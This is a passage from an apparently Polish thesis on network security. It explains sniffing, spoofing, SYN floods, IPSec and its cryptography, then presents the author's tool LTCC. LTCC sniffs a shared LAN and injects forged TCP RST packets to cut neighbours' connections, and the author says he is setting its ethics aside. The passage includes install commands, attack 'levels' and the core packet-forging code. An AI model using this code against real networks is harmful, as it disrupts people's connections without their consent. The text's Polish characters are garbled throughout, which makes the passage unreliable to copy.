lokalnej mo|na u|y techniki arp spo- offingu. Mo|na te| wysBa pakiet z wybranym przez siebie adresem nadawcy i obserwowa pojawiajce si poBczenia z serwerem DNS, pytajce serwer DNSu o numer zródBowy. Istniej programy do wykrywania snifferów w sieci lokalnej: neped, AntiSniff Jak si przed tym broni ? Z punktu widzenia u|ytkownika stosujc tylko i wyBcz- nie szyfrowan transmisj danych np. protokoBem SSL, lub korzysta z protokoBu IPSec. Spoofing jest to dziaBanie majce na celu podszycie si pod inn jednostk w sieci. Zale|nie od warstwy zastosowania - istniej ró|ne ataki wykorzystujce technik 13 Adres MAC skBada si z 6 bajtów, zapisany w pamici ROM urzdzenia sieciowego. Ka|dy pro- ducent urzdzeD sieciowych posiada okre[lon pul adresów MAC, co gwarantuje, |e adresy interfejsów sieciowych s unikalne 14 popularnymi programami do podsBuchiwania s: tcpdump, ethereal, sniffit, snort 24 podszycia si np. DNS spoofing, e-mail spoofing, IP spoofing - który to zostanie w kilku sBowach opisany, ARP spoofing. IP spoofing polega na sfaBszowaniu adresu zródBowego w nagBówku pakietu IP i wysBaniu podrobionego pakietu do ofiary. DziaBanie takie powoduje oszukanie maszyny, która spodziewa si danych z oryginalnego zródBa, a dostaje dane pod- robione. Technika IP spoofingu czsto wykorzystywana jest podczas ataków DoS (Deny of Service) w postaci floodów w celu zmylenia ofiary, tudzie| zabezpieczeD (firewalli), jakie mog chroni maszyn ofiary. yródBo takiego ataku jest trudne bdz praktycznie niemo|liwe do wykrycia. SYN-flood polega na wysBaniu du|ej liczby pakietów TCP z ustawion flag SYN, w których adres nadawcy zostaB zmieniony na numer IP maszyny, która nie istnieje lub aktualnie nie jest dostpna. W takiej sytuacji zaatakowany serwer odpowiada na ka|dy pakiet SYN poprzez wysBanie pakietu SYN-ACK do komputera, który w rzeczywisto[ci nie istnieje lub nie chce nawiza poBczenia. Serwer nie odró|nia sfaBszowanych pakietów od legalnych, dlatego przydziela zasoby obliczeniowe i pami niezbdne do obsBugi poBczeD. Je|eli liczba wysBanych pakietów SYN bdzie odpowiednio du|a, to serwer zapeBni swoje tabele (bufory) robocze i nie bdzie akceptowaB nastpnych napBywajcych pakietów, oczekujc na otwarcie zainicjowanej komunikacji TCP. Serwer oczekuje na pakiet ACK a| do upBywu ustalonego czasu - timeout. 6.2 zalety dostpno[ - poniewa| protokóB TCP/IP staB si standardem komunikacji sieciowej - wszystkie systemy z rodziny UNIX (AIX, Irix, HP/UX, Linux, BSD), Windows (9x, 2k, XP), Novell Netware, MacOS, OS/2 maj zaimplementowan jego obsBug. 25 otwarto[ - dokumentacja znajduje si w dokumentach RFC elastyczno[ - pozwala równie skutecznie przenosi dane przez Bcza o przepustowo[ci 9600 bps, jak i kilkusetkrotnie szybsze. mo|liwo[ filtracji - ka|dy pakiet mo|e by filtrowany na podstawie jego nagBówka. Okre[lone pakiety mog zosta odrzucone, zablokowane, bdz przekazane do okre- [lonego urzdzenia, co ma znaczenie ze wzgldu na bezpieczeDstwo. Programy sBu|ce do filtrowania pakietów: ipfwadm (linux-2.0), ipchains (linux-2.2), ipta- bles (linux-2.4 - linux-2.6), netfilter (BSD) oraz popularne firewalle w systemach WindowsTM: Outpost, Kerio, ZoneAlarm. 26 7 Opis i idea dziaBania IPSec Wykorzystanie internetu w biznesie oraz uczynienie go narzdziem pracy porówny- walnym z telefonem czy faksem, wymusiBo stworzenie mechanizmów zapewniajcych poufno[ oraz bezpieczeDstwo poBczeD odlegBych o[rodków korzystajcych z publicznej sieci. Opracowaniem protokoBu IPSec[21] w 1992 roku zajBa si grupa IETF (Internet Engineering Task Force). Podstawowymi zadaniami IPSec jest zapewnienie integralno[ci oraz poufno[ci danych przesyBanych przy pomocy IP. Kolejny cel, zagwarantowanie autentyczno[ci Bczcych si stron, jest realizowany do pewnego stopnia przez sam protokóB IPSec i mo|e by rozszerzany przez dodatkowe mechanizmy. Poprzez zapewnienie integralno[ci rozumiemy tutaj mo|liwo[ wykrycia celowych lub przypadkowych modyfikacji wprowadzonych do przesyBanych danych. Zapewnia to wprowadzenie kryptograficznych funkcji skrótu, co jest o wiele lepszym rozwizaniem od prostych sum kontrolnych protokoBów IP oraz TCP, które gwarantuj wykrycie uszkodzenia pakietu wynikajcego z niedoskonaBo[ci transmisji, jednak nie s odporne na ich celowe spreparowanie. Poprzez zapewnienie poufnosci rozumiemy tutaj zabezpieczenie danych przed ich odczytaniem gdy zostan przechwycone przez napastnika. Funkcj t gwarantuj algorytmy kroptograficzne zastosowane do szyfrowania przesyBanych danych. Osoba nie posiadajca klucza nie bdzie w stanie odczytac zaszyfrowanej informacji. Dziki enkapsulacji protokoBów - charakterystycznej dla modelu ISO/OSI, IPSec mo|e by wykorzystywany do zabezpieczenia protokoBów warstw wy|szych. Poniewa| dziaBa w warstwie IP protokoBami zabezpieczanymi mog by midzy innymi TCP, UDP, BGP. . . IPSec dostarcza dwóch protokoBów do zapewnienia bezpieczeDstwa transmisji, s nimi AH[13] oraz ESP[16]. 27 Rysunek 6: Enkapsulacja protokoBów 7.1 AH - Authentication Header AH dostarcza bezpoBczeniowej integralno[ci, uwierzytelniania zródBa danych oraz od- rzucajce powtórzone pakiety. Stanowi ochron enkapsulowanego protokoBu warstwu wy|szej, jak równie| cz[ci nagBówka IP. Ochron obejmowane s te pola nagBówka, które nie ulegaj zmianie podczas wdrówki przez sie (adresy, identyfikator). Do zapewnienia integralno[ci oraz, w pewnym stopniu, wierzytelno[ci stron poBczenia wykorzystywane s kryptograficzne funkcje skrótu takie jak MD5, SHA1 czy RIPEMD-160 w tzw. trybie HMAC. Ten ostatni to wynik obliczenia skrótu przesyBanych danych oraz skonfigurowa- nego hasBa, znanego tylko stronom poBczenia. Rysunek 7: Budowa nagBówka AH Next Header - (nastpny nagBówek) 8-bitowy numer identyfikujcy nagBówek nastp- 28 nego protokoBu umieszczony za AH. Payload Length - (dBugo[ danych) 8-bitowy numer okre[lajcy dBugo[ danych AH w 32 bitowych sBowach (4 bajty) minus 2. Reserved - (zarezerwowane) 16 bitów, musz by wyzerowane. Security Payload Index - 32-bitowa warto[ zawierajca identyfikator pozwalajcy rozró|ni poBczenia zmierzajce do tego samego miejsca przeznaczenia, wskazuje  bezpieczne poBczenie (security association), które ma by zastosowane do tego pakietu. (SPI) Sequence Number Field - 32-bitowy identyfikator pozwalajcy realizowa ochron przed odtwarzaniem. Authentication data - zmiennej dBugo[ci pole zawierajce dane uwierzytelniajce. 7.2 ESP - Encapsulating Security Payload Rysunek 8: Budowa nagBówka ESP Security Payload Index - 32-bitowa warto[ SPI zawierajca informacje analogiczne informacje jak w protokole AH. 29 Sequence Number Field - 32-bitowa warto[ zawierajca warto[ licznika. Warto[ licznika jest zerowana podczas nawizywania poBczenia. Payload Data - zmiennej dlugo[ci pole zawierajce dane opisane przez  Next Header . Padding - zale|nie od algorytmu kryptograficznego u|ytego do ochrony danych pole to mo|e zawiera ró|ne warto[ci. Rozmiar pola wynosi 0-255 bajtów. Pole to nie jest wymagane. Pad length - 8-bitowy numer informujcy o rozmiarze pola  Padding . Pole to jest obowizkowe nawet je[li pole  Padding nie wystpuje w pakiecie.  Pad length przyjmuje wtedy warto[  0 . Next Header - 8-bitowy numer idetyfikujcy typ danych znajdujcych si w polu  Pay- load Data . Authentication data - opcjonalne, zmiennej dBugo[ci pole zawierajce obliczon war- to[ ICV (Integrity Check Value) obliczon z pakietu ESP. DBugo[ pola, zasady porównania oraz walidacji musz by sprecyzowana w przez algorytm identyfikacji. 7.3 Tryby pracy protokoBu IPSec 7.3.1 Tryb transportowy (Transport mode) Tryb transportowy wykorzystuje si prawie wyBcznie w sieciach lokalnych. Spowodo- wane jest to specyfik protokoBu IPSec, wymaga on kolejno[ci pakietów do routera. Kolejno[ taka mo|e by zachwiana gdy pakiet podró|uje ró|nymi trasami w sieciach rozlegBych lub poprzez fragmentacj pakietów. W sieciach lokalnych taki problem nie wystpuje. Dane chronione przez IPSec s enkapsulowane zaraz za nagBówkiem IP, co pokazuje zamieszczony ni|ej schemat. 30 Rysunek 9: Enkapsulacja w trybie transportowym. Rysunek 10: Enkapsulacja w trybie tunelowym. 7.3.2 Tryb tunelowy (Tunnel mode) Tryb tunelowy wykorzystywany jest przede wszystkim do tworzenia bezpiecznych po- BczeD w sieciach rozlegBych. Umieszczone w nagBówku IP adresy (znajdujce si pod ESP/AH) s najcz[ciej adresami routerów szyfrujcych, Bczcych ze sob tworzce VPN sieci lokalne znajdujce si w odlegBych lokalizacjach. Enkapsulacja w tym przy- padku równie| nagBówka IP powoduje, i| podsBuchujcy intruz nie ma nawet mo|liwo[ci stwierdzenia pomidzy jakimi maszynami w VPN zachodzi komunikacja. Informacje na temat zestawionych poBczeD znajduj si w dwóch systemowych bazach 31 danych protokoBu IPSec. SAD (Security Association Database) opisuje dokBadnie ka- naBy poBczeD, hosty pocztkowe i koDcowe, algorytmy szyfrowania oraz klucz dla ka|- dego kanaBu. Baza SPD (Security Policy Database) opisuje polityk bezpieczeDstwa oraz umo|liwia bardzo elastyczne konfigurowanie poBczeD. Mo|na w niej okre[li kierunki szyfrowania danych, adresy hostów, sieci, protokoBy, porty. 7.4 Algorytm przetwarzania protokoBu IPSec W momencie gdy do stosu IP/IPSec z warstwy wy|szej trafia przeznaczony do wysBania pakiet zawierajcy dane od hosta A dla hosta B, przeszukiwana jest baza SPD w celu znalezienia odpowiedniej polityki dla tego pakietu. Kolejno po podjciu decyzji o przyszBo[ci danego pakietu przeszukiwana jest baza SAD w celu sprawdzenia, czy istnieje kanaB odpowiadajcy |danej transmisji. Musi on mie unikalny numer SPI, skonfigurowany algorytm szyfrujcy, klucz i inne parametry. Je[li taki kanaB istnieje, to pakiet jest nim po prostu wysyBany i dane w bazie SAD s uaktualniane (licznik bajtów, pakietów, wektor inicjalizujcy IV itp) Po odebraniu pakietu z drugiej strony poBczenia, przeszukiwana jest ponownie baza SAD w poszukiwaniu informacji na temat kanaBu dla którego numer SPI jest taki sam jak odebranego pakietu. Je[li wpis taki w bazie SAD nie zostanie znaleziony, pakiet zostanie odrzucony i odpowiednie logi systemowe wygenerowne. Zwiadczy to bdzie o próbie ataku, bdz bBdnej konfiguracji poBczenia. Je[li natomiast kanaB zostanie znaleziony dane opakowane protokoBem ESP zostan odszyfrowane za pomoc znajdujcych si w bazie informacji na temat algorytmu, klucza. 7.5 Elementy kryptografii w IPSec Szyfrowanie w protokole ESP odbywa si poprzez zastosowanie jednego z symetrycznych algorytmów. Obecnie dokumenty RFC mówi, |e algorytm DES musi by implemento- 32 wany w IPsec, 3DES (Triple DES) powinien, a wiele innych mo|e. 7.5.1 HMAC Identyfikacja jest w IPsec wykonywana za pomoc funkcji HMAC (Hashed Message Au- thentication Code)[13][14]. Nie jest to prosta funkcja haszujca, ale bardziej zBo|ona operacja, króra u|ywa jakiego[ algorytmu haszujcego (MD5 lub SHA) oraz klucza. ZwykBa funkcja skrótu mówi, |e dane nie zostaBy zmienione podczas transmisji bdz byBy zmienione i dla nich zostaB wygenerowany nowy skrót. HMAC gwarantuje pew- no[, |e wysyBajcy, w odró|nieniu od atakujcego, zna klucz, a atakujcy zatem nie mo|e wygenerowa nowych danych. DBugo[ skrótu HMAC wynosi 96 bitów (pierwotny skrót jest obcinany do tej wielko[ci). 7.5.2 Diffie-Hellman Algorytm uzgadniania klucza Diffiego-Hellmana pozwala dwóm stronom ustali klucz w taki sposób, |e nawet ten, kto podsBuchuje caB komunikacj nie mo|e ustali jaki to klucz. ProtokóB bazuje na problemie dyskretnego logarytmu i z tego powodu jest uwa|any za bezpieczny. Matematycy pracuj nad tym problemem od wielu lat i nie udaBo im si przybli|y do rozwizania aczkolwiek równie| nie udowodniono, |e rozwizanie efektywne nie istnieje. 7.5.3 RSA Algorytm zostaB opracowany w MIT (Massachussets Institute of Technology) w roku 1977 przez L.R.Rivesta, A.Shamira i L.M.Adlemana. RSA jest szeroko u|ywanym kryptosys- temem klucza publicznego. Bazuje on na trudno[ci obliczeniowej faktoryzacji du|ych liczb (obecnie co najmniej 300 miejsc w zapisie w systemie dziesitkowym). W IPsec jest u|ywany jako jedna z technik do uwierzytelniania bram (hostów) dla prowadzenia dalszej negocjacji klucza. 33 Algorytmy RSA majce klucz o dBugo[ci 512 bitów (lub mniejszej), s stosunkowo pro- ste do zBamania. Adi Shamir opracowaB w 1999 r. specjalizowany równolegBy komputer Bamicy 512 bitowe RSA w cigu 2 dni. Obecnie stosuje si klucze 1024, 2048 a na- wet klucze 4096 bitowe praktycznie caBkowicie bezpieczne tzn. nie do zBamania przy wspóBczesnym stanie wiedzy o algorytmach komputerowych i przy wspóBczesnych mo|- liwo[ciach obliczeniowych. 7.5.4 DES DES (Data Encryption Standard) jest symetrycznym algorytmem szyfrujcym, ten sam klucz jest u|ywany do szyfrowania i deszyfrowania. SzczegóBowy opis algorytmu DES zostaB celowo opublikowany. ChodziBo o przekonanie potencjalnych u|ytkowników, |e bezpieczeDstwo metody nie tkwi w tajno[ci jej budowy, ale w konstrukcji odpornej na kryptoanaliz. Bowiem ka|da metoda, której szczegóBy nie zostaBy ujawnione, mo|e w sobie tzw. tylne drzwi, czyli miejsce w algorytmie, które mo|e by wykorzystane przez atakujcego znajcego szczegóBy algorytmu. DES szyfruje bloki zBo|one z 64 bitów - 8 bajtów z których ka|dy zaopatrzony jest w bit parzysto[ci. Klucze skBadaj si równie| z 64 bitów, przy czym 8 bitów jest bitami parzysto[ci. Tak wic w istocie w trakcie wyboru klucza mo|na okre[li jedynie 56 bitów, reszta jest generowana automatycznie. DokBadny opis algorytmu DES znajduje si w publikacji [1]. Na pocztku 1997 roku, firma RSA Data Security ustanowiBa nagrod w wysoko[ci 10 000 USD za zBamanie algo- rytmu DES. PoBczenie wysiBku powoBanej grupy oraz wolnych mocy 14 000 komputerów u|ytkowników Internetu, zaowocowaBo zBamaniem kodu 90-go dnia trwania projektu. Próby ratowania pozycji DES na rynku poskutkowaBy opracowaniem algorytmu 3DES (Triple-DES, potrójny DES). Dziki wprowadzeniu operacji trzykrotnego u|ycia trzech ró|nych kluczy o dBugo[ci 56 bitów, czas na zBamanie zaszyfrowanej wiadomo[ci wydBu|a si z kilku dni do bilionów lat. 34 7.5.5 MD5 Algorytm MD5 (Message Digest 5)[7] jest funkcj haszujc produkujc z zadanej wiadomo[ci 128-bitowy  skrót wiadomo[ci (message digest). ZakBada si, |e jest obliczeniowo niewykonalne wyprodukowanie dwu ró|nych wiadomo[ci posiadajcych ten sam skrót lub wyprodukowanie jakiejkolwiek wiadomo[ci na podstawie zaBo|onego skrótu. Algorytm MD5 jest stosowany w technice podpisu cyfrowego, gdzie du|y plik powinien by wcze[niej skompresowany w bezpieczny sposób zanim zostanie zaszyfrowany kluczem prywatnym. Opis algorytmu: 1. Doklejenie do haszowanego cigu bit 1. 2. UzupeBnienie warto[ciami  0 do 512-bitowych bloków, i ostatniego niepeBnego - 448-bitowego. 3. Doklejenie 64-bitowego (zaczynajc od najmniej znaczcego bitu) licznika ozna- czajcego rozmiar wiadomo[ci. W ten sposób otrzymuje si wiadomo[ zBo|on z 512-bitowych fragmentów. 4. Ustawienie stanu pocztkowego na 0123456789abcdeffedcba9876543210. 5. Uruchomienie na ka|dym bloku (jest przynajmniej jeden blok nawet dla pustego wej[cia) funkcj zmieniajc stan. Funkcja zmiany stanu ma 4 rundy (64 kroki). Stan jest traktowany jako 4 liczby 32-bitowe, i w ka|dym kroku do której[ z tych liczb dodawany jest jeden z 16 32-bitowych fragmentów bloku wej[ciowego, pewna staBa zale|na od numeru kroku oraz pewna prosta funkcja boolowska 3 pozostaBych liczb. Nastpnie liczba ta jest przesuwana cyklicznie o liczb bitów zale|n od kroku, oraz jest dodawana do niej jedna z pozostaBych liczb. 35 6. Po przetworzeniu ostatniego bloku zwracony zostaje stan jako wynik funkcji ha- szujcej. 7.5.6 SHA1 Algorytm SHA (Secure Hash Algorithm) jest kolejn jednokierunkow funkcj haszujc podobnie jak MD5 tworzy skrót wiadomo[ci o dBugo[ci 160 bitów poniewa| 128 bitów funkcji MD5 zostaBo uznane za zbyt maB liczb. SHA1 ró|ni si poza tym postaci funkcji zmieniajcych stan. 7.5.7 RC4 RC4  (Rivest s Cipher) niezwykle szybki algorytm szyfrowania strumieniowego danych poprzez wykonywanie na nich operacji XOR z wygenerowanymi liczbami pseudoloso- wymi. 7.6 Automatyzacja - u|ycie protokoBu IKE Powodem powstania protokoBu automatycznej wymiany kluczy byB fakt, i| rczna konfi- guracja protokoBu IPSec miaBa sens tylko dla niewielkiej ilo[ci wzBów. W momencie gdy poBczone razem zostaje wiele sieci lokalnych konfiguracja staje si coraz bardziej skom- plikowana i kBopotliwa. Klucze kryptograficzne nale|y co jaki[ czas wymienia, co staje si kBopotliwe. Opracowano kilka protokoBów umo|liwiajcych automatyzacj czynno[ci zwizanych z zestawianiem bezpiecznych poBczeD. IETF (Internet Engeneering Task Force) wybraBo protokóB IKE (Internet Key Exchange) jako standard. IKE buduje sprawdzony, bezpieczny tunel pomidzy dwoma jednostkami i wtedy nego- cjuje bezpieczne poBczenie dla IPSec. Proces ten wymaga by ka|da jednostka sprawdziBa si nawzajem i ustanowiBa wspólne klucze. IKE skBada si z dwóch cz[ci: ISAKMP (In- ternet Security Association and Key Management Protocol), stanowicego faktyczny 36 protokóB negocjacji parametrów IPSec oraz Oakley, bdcego kryptograficznym protoko- Bem wymiany kluczy za pomoc algorytmu Diffie-Hellmana. 37 8 wady i zalety stosowania protokoBu IPSec 8.1 wady " IPsec nie zabezpiecza poBczeD end-to-end tak jak to robi protokoBy na wy|szych warstwach. IPsec szyfruje poBczenie IP pomidzy dwoma maszynami, co nie jest równowa|ne szyfrowaniu wiadomo[ci pomidzy u|ytkownikami bdz aplikacjami. " IPsec autoryzuje maszyny a nie u|ytkowników. Mechanizmy silnej autoryzacji sBu| do kontrolowania, jakie wiadomo[ci pochodz z jakich maszyn. Je|eli jest po- trzebna kontrola dostpu u|ytkowników nale|y u|y innych mechanizmów (warstw wy|szych), które mog by Bczone z IPsec. " IPsec nie potrafi zapobiega atakom DoS (Denial of Service) aczkolwiek mo|e sku- tecznie utrudnia mo|liwo[ ich zaj[cia. 8.2 zalety otwarto[ - dokumentacja zawarta jest w RFC. bezpieczeDstwo - jest to w tym momencie najbezpieczniejsze narzdzie chronice roz- legBe sieci korporacyjne. skalowalno[ - doskonale nadaje si do tworzenia bezpiecznych poBczeD pomidzy dwoma maszynami, jak równie| do Bczenia wielu odlegBych od siebie sieci lokal- nych. przeno[no[ - implementacje potokoBu IPSec obecne s we wszystkich najpopularniej- szych systemach operacyjnych. IPSec czsto jest implementowany w routerach hardwareowych (CISCO od IOS-11.3). 38 9 Program LTCC - Local TCP Control Center 9.1 Opis programu LTCC jest prostym linuxowym narzdziem sBu|cym ograniczeniu ruchu TCP w lokalnej sieci a zarazem wykorzystujcym sBabo[ protokoBu TCP. Program jest szczególnie u|yteczny w momencie gdy nie posiadamy dostpu do gatewawya, na którym mo|na podzieli dostpne pasmo na wszystkich u|ytkowników sieci. W takim przypadku jeden u|ytkownik potrafi zaj caBe dostpne pasmo na przykBad przez [ciganie  ci|kiego pliku z odlegBej maszyny, co uniemo|liwia nam zdaln prac (np. ssh). Kwestie etyczne zwizane z atakiem na u|ytkowników sieci lokalnej odkBadam na bok. Zajmijmy si technicznym aspektem ataku. ZaBo|eniem brzegowym jest fakt niewystpowania w sieci lokalnej przeBczników (switch). Switch dzieli sie na segmenty, zapamituje adresy MAC urzdzeD i wysyBa pakiety wyBcznie przez te porty, do których podBczone jest urzdzenie, dla którego pakiet jest przeznaczony. Uniemo|liwia to podsBuchanie pakietów wychodzcych i przychodzcych do  ssiada , co jest jedn z podstawowych czynno[ci programu podczas przeprowadzania ataku. Kolejnym wa|nym wymogiem programu jest system operacyjny. Program zostaB napi- sany i przetestowany na linuxach 2.2 - 2.4, nie powinno by problemu z uruchomieniem go na linuxie z serii 2.6. Nie dziaBa natomiast w rodzinie systemów BSD oraz innych systemach UNIXowych. Spowodowane jest to dedykowan obsBug gniazd, program nie wykorzystuje bibliotek pomocniczych takich jak libpcap. LTCC musi by zainstalowany i uruchomiony w systemie linux przez u|ytkownika, który posiada prawa administratora (roota) w tym systemie. Spowodowane jest to polityk bezpieczeDstwa systemu linux, a dokBadnie dotyczy uprawnieD niezbdnych do otwarcia gniazda w trybie surowym (raw mode). Niedopuszczalnym byBoby przecie|, |eby ka|dy u|ytkownik systemu miaB mo|liwo[ podsBuchiwania. 39 9.1.1 Instalacja LTCC Program dostpny jest na mojej stronie www pod adresem: http://prokop.adfinem.net/projects/ltcc.html Nale|y [cign na dysk lokalny najnowsz wersj (w chwili obecnej jest to plik: ltcc-1.0.2.tar.gz) oraz rozpakowa poleceniem: tar -zxvf ltcc-1.0.2.tar.gz zmieni katalog bie|cy na katalog ze zródBami programu: cd ltcc-1.0.2 kolejno nale|y go skompilowa poleceniem: make oraz zainstalowa do katalogów systemowych: make install je|eli zajdzie potrzeba odinstalowania programu z systemu, nale|y wykona polecenie: make remove wówczas utworzone podczas instalacji pliki zostan usunite z systemu. 9.1.2 Uruchomienie oraz opcje ltcc Informacje na temat ataku podaje si w parametrach wywoBania programu, które mo|na zobaczy uruchamiajc program bez |adnych opcji: Dokumentacja programu, spis oraz opis wszystkich opcji znajduje si w manualu. W celu otworzenia pliku manuala nale|y wyda komend: 40 Rysunek 11: PrzykBad uruchomienia programu bez parametrów - lista opcji man ltcc Podobnie jak wikszo[ programów LTCC posiada dwa rodzaje opcji, cz[ z nich wymaga podania dodatkowego parametru, cz[ wystpuje samodzielnie. -I (Interactive mode) tryb interaktywny, jest to tryb z bardziej przyjaznym interfejsem oraz menu w górnej cz[ci ekranu. Umo|liwia wy[wietlenie oraz nawigacj pomi- dzy aktualnymi poBczeniami w sieci lokalnej. Opcja nie wymaga dodatkowych argumentów. -h (help) wy[wietla pomoc dotyczc dostpnych opcji -w (wait) powoduje, |e podczas zrywania zdalnego poBczenia program nie uruchamia dodatkowego procesu (nie u|ywa funkcji fork()) tylko czeka a| funkcja zrywania zakoDczy dziaBanie. Czas dziaBania (nasBuchiwania oraz reakcji na wychwycone 41 pakiety) ustalany jest przez parametr opcji -k. Opcja nie wymaga dodatkowych argumentów. -v (verbose mode) program wy[wietla bogat informacj na temat tego co w danej chwili robi. Opcja nie wymaga dodatkowego parametru. -i (interface) jako parametr tej opcji nale|y poda interfejs sieciowy, na którym program ma dziaBa. Domy[lnie jest to eth0. -b (broadcast) jako parametr tej opcji nale|y poda adres broadcast dla sieci, w której program ma dziaBa. Opcja ta umo|liwia dziaBanie programu w takiej sytuacji, gdy w jednej sieci fizycznej istniej dwie lub wicej sieci logicznych posiadajcych adresy obok siebie. Domy[lnie warto[ ta jest odczytywana z interfejsu sieciowego. -m (netmask) jako parametr tej opcji nale|y poda maske sieci. Domy[lnie maska od- czytywana jest z interfejsu sieciowego. -l (level) jedna z najwa|niejszych opcji programu dotyczca poziomu ra|enia. Opcja ta przyjmuje jedn z piciu warto[ci z przedziaBu 0-4: 0 - adres zródBowy IP oraz port, adres docelowy IP oraz port musz si zgadza, |eby uruchomiona zostaBa procedura ataku. 1 - adres zródBowy IP, adres docelowy IP oraz port musz si zgadza. Atak ten powoduje uniemo|liwienie ofierze Bczenia si z okre[lon usBuga znajdujc si na okre[lonym ho[cie. 2 - adres zródBowy i docelowy IP musz si zgadza. Atak ten powoduje uniemo|- liwienie ofierze Bczenia si ze zdalnym hostem. 3 - adres zródBowy oraz port docelowy musi si zgadza. Atak ten powoduje najcz- [ciej zablokowanie ofierze dostpu do jakiej[ zdalnej usBugi (np smtp, www). 42 4 - tylko adres zródBowy musi si zgadza. Atak ten powoduje uniemo|liwienie ofierze jakiejkolwiek komunikacji sieciowej protokoBem TCP. Poziom czwarty generuje sporo ruchu w sieci lokalnej. -k - (kill timeout) parametr tej opcji okre[la w sekundach czas trwania ataku, a do- kBadniej czas |ycia procesu zajmujcego si nasBuchiwaniem oraz wysyBaniem spre- parowanych nagBówków TCP/IP z ustawion flag RST. Domy[ln warto[ci jest 10 sekund. Podanie 0 równoznaczne jest brakiem czasowych limitów ataku. Atak nastpowaB bdzie a| do momentu  ubicia go sygnaBem SIGKILL (kill -9). -s - (sniff timeout) parametr u|yteczny tylko w trybie interaktywnym, umo|liwia usta- wienie czasu sniffowania aktywnych poBczeD w sieci. Domy[lna warto[ to 10 sekund. -S - (source address) adres zródBowy IP. -p - (source port) port zródBowy. -D - (destination address) adres docelowy IP. -P - (destination port) port docelowy. W trybie interaktywnym mo|na u|ywa nastpujcych poleceD: A wyszukiwanie aktywnych poBczeD w sieci. K uruchomienie procedury zrywajcej aktualnie wybrane poBczenie. L ustalenie poziomu zrywania (patrz opcja -l). S ustalenie czasu sniffowania (patrz opcja -s). T ustalenie czasu trwania procedury zrywajcej (patrz opcja -t). 43 9.1.3 Lista plików w archiwum CHANGELOG plik, w którym s opisane zmiany w programie w stosunku do wersji poprzednich. README plik zawiera informacje na temat programu oraz instalacji. TODO plik zawiera spis modyfikacji jakie s planowane w przyszBych wersjach pro- gramu. Makefile plik zawierajcy polecenia kompilacji programu. disp.cpp plik zawierajcy definicje funkcji u|ywanych podczas wy[wietlania w trybie interaktywnym. disp.h plik zawierajcy deklaracje funkcji u|ywanych podczas wy[wietlania w trybie interaktywnym. global.h plik zawierajcy dyrektywy preprocesora dotyczce ustawieD ekranu w trybie interaktywnym. ltcc.8 plik pomocy (manuala). ltcc.cpp gBówny plik programu. tcpcc.cpp plik zawierajcy definicje funkcji u|ywanych podczas zrywania poBczenia. tcpcc.h plik zawierajcy deklaracje funkcji u|ywanych podczas zrywania poBczenia. term.cpp plik zawierajcy definicje funkcji obsBugujcych terminal. term.h plik zawierajcy deklaracje funkcji obsBugujcych terminal. 44 9.1.4 Fragmenty kodu realizujce zasadnicz cz[ ataku W pliku tcpcc.cpp znajduj si funkcje rozpoznajce odebrany pakiet oraz preparujce pakiet, który zostanie wysBany do ofiary z ustawion flag RST. S to najciekawsze miejsca w programie: while (stop==0) { bzero(packet, MAXPACKET); n=recv(sockfd, recvbuf, sizeof(recvbuf), 0); // oczekuje na pakiet kill_ip = (struct iphdr *) (recvbuf + 0x0e ); // 0xe <- dlugosc naglowka ethernetu. kill_tcp = (struct tcphdr *) (recvbuf + 0x0e + sizeof(*kill_ip)); switch(level) {// checking kill level case 0: // lowest kill strange all must match if ((dst_port==kill_tcp->dest) && (src==kill_ip->saddr) && (dst==kill_ip->daddr) && (src_port==kill_tcp->source) && (kill_tcp->rst==0)) ok=1; break; case 1: // no need for source port matching if ((dst_port==kill_tcp->dest) && (src==kill_ip->saddr) && (dst==kill_ip->daddr) && (kill_tcp->rst==0)) ok=1; break; case 2: // no need for source and dest port matching if ((src==kill_ip->saddr) && 45 (dst==kill_ip->daddr) && (kill_tcp->rst==0)) ok=1; break; case 3: //no need source port and destination ip if ((src==kill_ip->saddr) && (dst_port==kill_tcp->dest) && (kill_tcp->rst==0)) ok=1; dst_addr.s_addr=kill_ip->daddr; break; case 4: // check only whether source ip match if ((src==kill_ip->saddr) && (kill_tcp->rst==0)) ok=1; dst_addr.s_addr=kill_ip->daddr; break; default: ok=0; } Funckja recv blokuje program w oczekiwaniu na pakiet, gdy odbierze pakiet z interfejsu sieciowego, jego zawarto[ umieszczona jest w zmiennej recvbuf. Pózniej zale|nie od  poziomu ataku - zmienna level sprawdzone zostaj adresy zródBowe i docelowe IP oraz TCP, ustawiona zmienna ok. if (ok) { // proceed killing kill_ftcp->rst=1; kill_ftcp->ack=1; kill_ftcp->seq=kill_tcp->ack_seq;//htonl(lon); 46 lon=ntohl(kill_tcp->seq)+1;//+sizeof(struct iphdr); kill_ftcp->ack_seq=htonl(lon); // ack kill_ftcp->source=kill_tcp->dest; kill_ftcp->dest=kill_tcp->source; kill_ftcp->doff=5; kill_ftcp->window=0;//tcp->window;//htons(32767); kill_ftcp->check=tcp_checksum((u16*)kill_ftcp, sizeof(struct tcphdr), dst_addr, src_addr); kill_fip->ihl=kill_ip->ihl; kill_fip->version=kill_ip->version; kill_fip->tos=0x00;//ip->tos; // 1 oktet kill_fip->tot_len=htons(sizeof(struct tcphdr)+sizeof(struct iphdr)); kill_fip->id=htons(0x6);//htons(ntohs(ip->id)+1); // dwa oktety kill_fip->saddr=kill_ip->daddr; kill_fip->daddr=kill_ip->saddr; kill_fip->protocol=kill_ip->protocol; kill_fip->ttl=0x77;//ip->ttl; kill_fip->frag_off=htons(0x00);//ip->frag_off; kill_fip->check=checksum((u16*)kill_fip, sizeof(struct iphdr) ); mysock.sin_family=AF_INET; mysock.sin_port=kill_ftcp->dest;//htons(dst_port); tmp.s_addr=ntohl(kill_fip->daddr); mysock.sin_addr=tmp;//dst_addr; memcpy(packet,kill_fip,sizeof(*kill_fip)); 47 memcpy(packet+sizeof(struct iphdr),kill_ftcp,sizeof(struct tcphdr)); if (sendto(wsockfd, packet, (sizeof(*kill_fip)+sizeof(*kill_ftcp)), 0x0, (struct sockaddr*) &mysock, sizeof(mysock))<0) return -1; ok=0; } } . . . i je[li pakiet zostaB rozpoznany - ustawiana jest flaga RST - kill ftcp-¿rst=1, spre- parowany zostaje caly pakiet - zarówno nagBówek TCP jak i IP, wyliczona zostaje suma kontrolna. Pakiet zostaje  zbudowany , przygotowany do wysBania oraz wysBany funkcj sendto. 9.2 Algorytm ataku Algorytm dziaBania jest bardzo prosty, podobnie jak programowa implementacja. 1. uruchomienie programu, zdefiniowanie poBczenia, jakie nale|y zerwa. 2. w ptli zostaje uruchomiona funkcja Bapica pakiety oraz analizujca wychwycone pakiety w celu znalezienia pasujcego do opcji podanych programowi podczas uru- chomienia. 3. w momencie 